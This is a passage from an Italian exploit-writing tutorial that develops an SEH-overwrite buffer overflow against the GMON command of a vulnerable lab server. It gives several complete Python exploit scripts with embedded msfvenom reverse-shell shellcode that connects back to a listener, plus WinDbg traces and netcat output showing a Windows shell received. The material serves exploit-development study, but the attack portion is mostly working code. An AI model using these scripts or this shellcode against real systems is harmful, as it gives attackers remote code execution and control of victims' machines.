00000000  E96BFEFFFF        jmp 0xfffffe70

Creo poi la reverse shell con msfvenom e la inserisco nello script.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xba\xfc\xc7\xd1\xe3\xdb\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x52\x83\xed\xfc\x31\x55\x0e"
shellcode += b"\x03\xa9\xc9\x33\x16\xad\x3e\x31\xd9\x4d\xbf"  
shellcode += b"\x56\x53\xa8\x8e\x56\x07\xb9\xa1\x66\x43\xef" 
shellcode += b"\x4d\x0c\x01\x1b\xc5\x60\x8e\x2c\x6e\xce\xe8" 
shellcode += b"\x03\x6f\x63\xc8\x02\xf3\x7e\x1d\xe4\xca\xb0"
shellcode += b"\x50\xe5\x0b\xac\x99\xb7\xc4\xba\x0c\x27\x60"
shellcode += b"\xf6\x8c\xcc\x3a\x16\x95\x31\x8a\x19\xb4\xe4" 
shellcode += b"\x80\x43\x16\x07\x44\xf8\x1f\x1f\x89\xc5\xd6"
shellcode += b"\x94\x79\xb1\xe8\x7c\xb0\x3a\x46\x41\x7c\xc9"
shellcode += b"\x96\x86\xbb\x32\xed\xfe\xbf\xcf\xf6\xc5\xc2"
shellcode += b"\x0b\x72\xdd\x65\xdf\x24\x39\x97\x0c\xb2\xca"
shellcode += b"\x9b\xf9\xb0\x94\xbf\xfc\x15\xaf\xc4\x75\x98"
shellcode += b"\x7f\x4d\xcd\xbf\x5b\x15\x95\xde\xfa\xf3\x78"
shellcode += b"\xde\x1c\x5c\x24\x7a\x57\x71\x31\xf7\x3a\x1e"
shellcode += b"\xf6\x3a\xc4\xde\x90\x4d\xb7\xec\x3f\xe6\x5f"
shellcode += b"\x5d\xb7\x20\x98\xa2\xe2\x95\x36\x5d\x0d\xe6"
shellcode += b"\x1f\x9a\x59\xb6\x37\x0b\xe2\x5d\xc7\xb4\x37"
shellcode += b"\xf1\x97\x1a\xe8\xb2\x47\xdb\x58\x5b\x8d\xd4"
shellcode += b"\x87\x7b\xae\x3e\xa0\x16\x55\xa9\x0f\x4e\x54"
shellcode += b"\x15\xf8\x8d\x56\x7f\x7d\x18\xb0\x15\x6d\x4d"
shellcode += b"\x6b\x82\x14\xd4\xe7\x33\xd8\xc2\x82\x74\x52"
shellcode += b"\xe1\x73\x3a\x93\x8c\x67\xab\x53\xdb\xd5\x7a"
shellcode += b"\x6b\xf1\x71\xe0\xfe\x9e\x81\x6f\xe3\x08\xd6"
shellcode += b"\x38\xd5\x40\xb2\xd4\x4c\xfb\xa0\x24\x08\xc4"
shellcode += b"\x60\xf3\xe9\xcb\x69\x76\x55\xe8\x79\x4e\x56"
shellcode += b"\xb4\x2d\x1e\x01\x62\x9b\xd8\xfb\xc4\x75\xb3"
shellcode += b"\x50\x8f\x11\x42\x9b\x10\x67\x4b\xf6\xe6\x87"
shellcode += b"\xfa\xaf\xbe\xb8\x33\x38\x37\xc1\x29\xd8\xb8"
shellcode += b"\x18\xea\xf8\x5a\x88\x07\x91\xc2\x59\xaa\xfc"
shellcode += b"\xf4\xb4\xe9\xf8\x76\x3c\x92\xfe\x67\x35\x97"
shellcode += b"\xbb\x2f\xa6\xe5\xd4\xc5\xc8\x5a\xd4\xcf"

payload = VULNSRVR_CMD
payload += b"A" * (OFFSET - 400)
payload += b"\x90" * (400 - len(shellcode))
payload += shellcode
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"\xe9\x6b\xfe\xff\xff" # -400 JMP
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Metto solito breakpoint per analizzare il flusso ed eseguo

Continuo l’esecuzione step by step fino ad arrivare al JMP 8

[Junk_AAAA][NOPNOPNOP..][Rev_Shell][0x06eb9090][0x625010b4][NopNopNop..][\xe9\x6b\xfe\xff\xff][Junk]

Ora viene eseguito il JMP di 8 e saltiamo ai NOP (da 0x06eb9090 a NopNopNop)

[Junk_AAAA][NOPNOPNOP..][Rev_Shell][0x06eb9090][0x625010b4][NopNopNop..][\xe9\x6b\xfe\xff\xff][Junk]

Alla fine dei Nop ci troviamo il jump back di 400 (da \xe9\x6b\xfe\xff\xff a NOPNOPNOP)

[Junk_AAAA][NOPNOPNOP..][Rev_Shell][0x06eb9090][0x625010b4][NopNopNop..][\xe9\x6b\xfe\xff\xff][Junk]

Fino ad arrivare all’ultimo NOP prima della reverse shell

0:003> u
00cdfe6c 90              nop
00cdfe6d bafcc7d1e3      mov     edx,0E3D1C7FCh
00cdfe72 dbdc            fcmovnu st,st(4)
00cdfe74 d97424f4        fnstenv [esp-0Ch]
00cdfe78 5d              pop     ebp
00cdfe79 29c9            sub     ecx,ecx
00cdfe7b b152            mov     cl,52h
00cdfe7d 83edfc          sub     ebp,0FFFFFFFCh

Proseguiamo ora l’esecuzione con g e ci mettiamo in ascolto dalla kali

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1218
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Jump Back studiato

Un altro metodo invece è quello di fare un jump back all’inizio delle A (quindi del Junk iniziale) giocando con i registri.

La prima cosa da fare è trovare la differenza tra la prima D e la prima A, in modo da avere la certezza di saltare in maniera corretta. Lancio l’exploit e metto il breakpoint su 0x625010b4

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Proseguo poi passo passo fino ad arrivare alla prima D ed estraggo il valore di ESP (a6ec8c)

Cerco poi le A, identificando l’indirizzo preciso

0:001> u 00a6f1ec 
00a6f1ec 202f            and     byte ptr [edi],ch
00a6f1ee 2e              ???
00a6f1ef 2e              ???
00a6f1f0 2e2f            das
00a6f1f2 41              inc     ecx
00a6f1f3 41              inc     ecx
00a6f1f4 41              inc     ecx
00a6f1f5 41              inc     ecx

La prima A sta in a6f1f2. Con Hex Calculator faccio la differenza

Quindi il jump da fare è di 1382. Ora giochiamo un po' con i registri.

  1. Per prima cosa facciamo un PUSH ESP per mantenere il valore nello stack
  2. Con quello facciamo il POP EAX, in modo che il valore salvato vada nel registro
  3. Ad esso aggiungiamo 566 facendo add ax, 0x5c6 (ax e non eax perché conteneva null bytes)
  4. infine facciamo il jump ad EAX, ossia all’inizio della A

Calcolo gli opcode sempre con nasm_shell

kali@kali:~$ /usr/bin/msf-nasm_shell
nasm > push esp
00000000  54                push esp
nasm > pop eax
00000000  58                pop eax
nasm > add ax,0x566
00000000  66056605          add ax,0x566
nasm > jmp eax
00000000  FFE0              jmp eax
nasm > 

E metto tutto insieme: \x54\x58\x66\x05\x66\x05\xff\xe0
Aggiungo allo script, inserisco breakpoint ed eseguo.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"\x54\x58\x66\x05\x66\x05\xff\xe0  " # PUSH; POP; ADD 566; JMP
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Dopo il breakpoint faccio una serie di step fino ad arrivare gli opcode appena inseriti

0:004> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=0107ffde esp=0107ec8c ebp=0107ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0107ffde 54              push    esp
0:004> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=0107ffdf esp=0107ec88 ebp=0107ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0107ffdf 58              pop     eax
0:004> 
eax=0107ec8c ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=0107ffe0 esp=0107ec8c ebp=0107ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0107ffe0 66056605        add     ax,566h
0:004> 
eax=0107f1f2 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=0107ffe4 esp=0107ec8c ebp=0107ed80 iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
0107ffe4 ffe0            jmp     eax {0107f1f2}
0:004> u 0107f1f2
0107f1f2 41              inc     ecx
0107f1f3 41              inc     ecx
0107f1f4 41              inc     ecx
0107f1f5 41              inc     ecx
0107f1f6 41              inc     ecx

Ed ecco che siamo all’inizio delle nostre A! Ora non ci rimane che inserire qualche NOP e la solita reverse shell

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread

shellcode =  b""  
shellcode += b"\xba\xfc\xc7\xd1\xe3\xdb\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x52\x83\xed\xfc\x31\x55\x0e"
shellcode += b"\x03\xa9\xc9\x33\x16\xad\x3e\x31\xd9\x4d\xbf"                               
shellcode += b"\x56\x53\xa8\x8e\x56\x07\xb9\xa1\x66\x43\xef"                               
shellcode += b"\x4d\x0c\x01\x1b\xc5\x60\x8e\x2c\x6e\xce\xe8"                               
shellcode += b"\x03\x6f\x63\xc8\x02\xf3\x7e\x1d\xe4\xca\xb0"                                        
shellcode += b"\x50\xe5\x0b\xac\x99\xb7\xc4\xba\x0c\x27\x60"                                                     
shellcode += b"\xf6\x8c\xcc\x3a\x16\x95\x31\x8a\x19\xb4\xe4"                                                                  
shellcode += b"\x80\x43\x16\x07\x44\xf8\x1f\x1f\x89\xc5\xd6"
shellcode += b"\x94\x79\xb1\xe8\x7c\xb0\x3a\x46\x41\x7c\xc9"
shellcode += b"\x96\x86\xbb\x32\xed\xfe\xbf\xcf\xf6\xc5\xc2"
shellcode += b"\x0b\x72\xdd\x65\xdf\x24\x39\x97\x0c\xb2\xca"
shellcode += b"\x9b\xf9\xb0\x94\xbf\xfc\x15\xaf\xc4\x75\x98"
shellcode += b"\x7f\x4d\xcd\xbf\x5b\x15\x95\xde\xfa\xf3\x78"
shellcode += b"\xde\x1c\x5c\x24\x7a\x57\x71\x31\xf7\x3a\x1e"
shellcode += b"\xf6\x3a\xc4\xde\x90\x4d\xb7\xec\x3f\xe6\x5f"
shellcode += b"\x5d\xb7\x20\x98\xa2\xe2\x95\x36\x5d\x0d\xe6"
shellcode += b"\x1f\x9a\x59\xb6\x37\x0b\xe2\x5d\xc7\xb4\x37"
shellcode += b"\xf1\x97\x1a\xe8\xb2\x47\xdb\x58\x5b\x8d\xd4"
shellcode += b"\x87\x7b\xae\x3e\xa0\x16\x55\xa9\x0f\x4e\x54"
shellcode += b"\x15\xf8\x8d\x56\x7f\x7d\x18\xb0\x15\x6d\x4d"
shellcode += b"\x6b\x82\x14\xd4\xe7\x33\xd8\xc2\x82\x74\x52"
shellcode += b"\xe1\x73\x3a\x93\x8c\x67\xab\x53\xdb\xd5\x7a"
shellcode += b"\x6b\xf1\x71\xe0\xfe\x9e\x81\x6f\xe3\x08\xd6"
shellcode += b"\x38\xd5\x40\xb2\xd4\x4c\xfb\xa0\x24\x08\xc4"
shellcode += b"\x60\xf3\xe9\xcb\x69\x76\x55\xe8\x79\x4e\x56"
shellcode += b"\xb4\x2d\x1e\x01\x62\x9b\xd8\xfb\xc4\x75\xb3"
shellcode += b"\x50\x8f\x11\x42\x9b\x10\x67\x4b\xf6\xe6\x87"
shellcode += b"\xfa\xaf\xbe\xb8\x33\x38\x37\xc1\x29\xd8\xb8"
shellcode += b"\x18\xea\xf8\x5a\x88\x07\x91\xc2\x59\xaa\xfc"
shellcode += b"\xf4\xb4\xe9\xf8\x76\x3c\x92\xfe\x67\x35\x97"
shellcode += b"\xbb\x2f\xa6\xe5\xd4\xc5\xc8\x5a\xd4\xcf"

payload = VULNSRVR_CMD
payload += shellcode
payload += b"A" * (OFFSET - len(shellcode))
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"\x54\x58\x66\x05\x66\x05\xff\xe0  " # PUSH; POP; ADD 566; JMP
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

E la nostra reverse shell :)

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1255
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
desktop-p7jng2j\user

C:\Windows\system32>

Conclusioni

In questo articolo abbiamo approfondito una nuova tecnica che sarà la base dei prossimi esercizi. Di seguito una lista di articoli per approfondire:

  1. Exploit writing tutorial part 3 : SEH Based Exploits
  2. OSCE Exam Practice - Part III (GMON via SEH Overwrite w/ Egg Hunter)
  3. SEH Based Buffer Overflow
  4. FuzzySecurity part 3: Structured Exception Handler (SEH)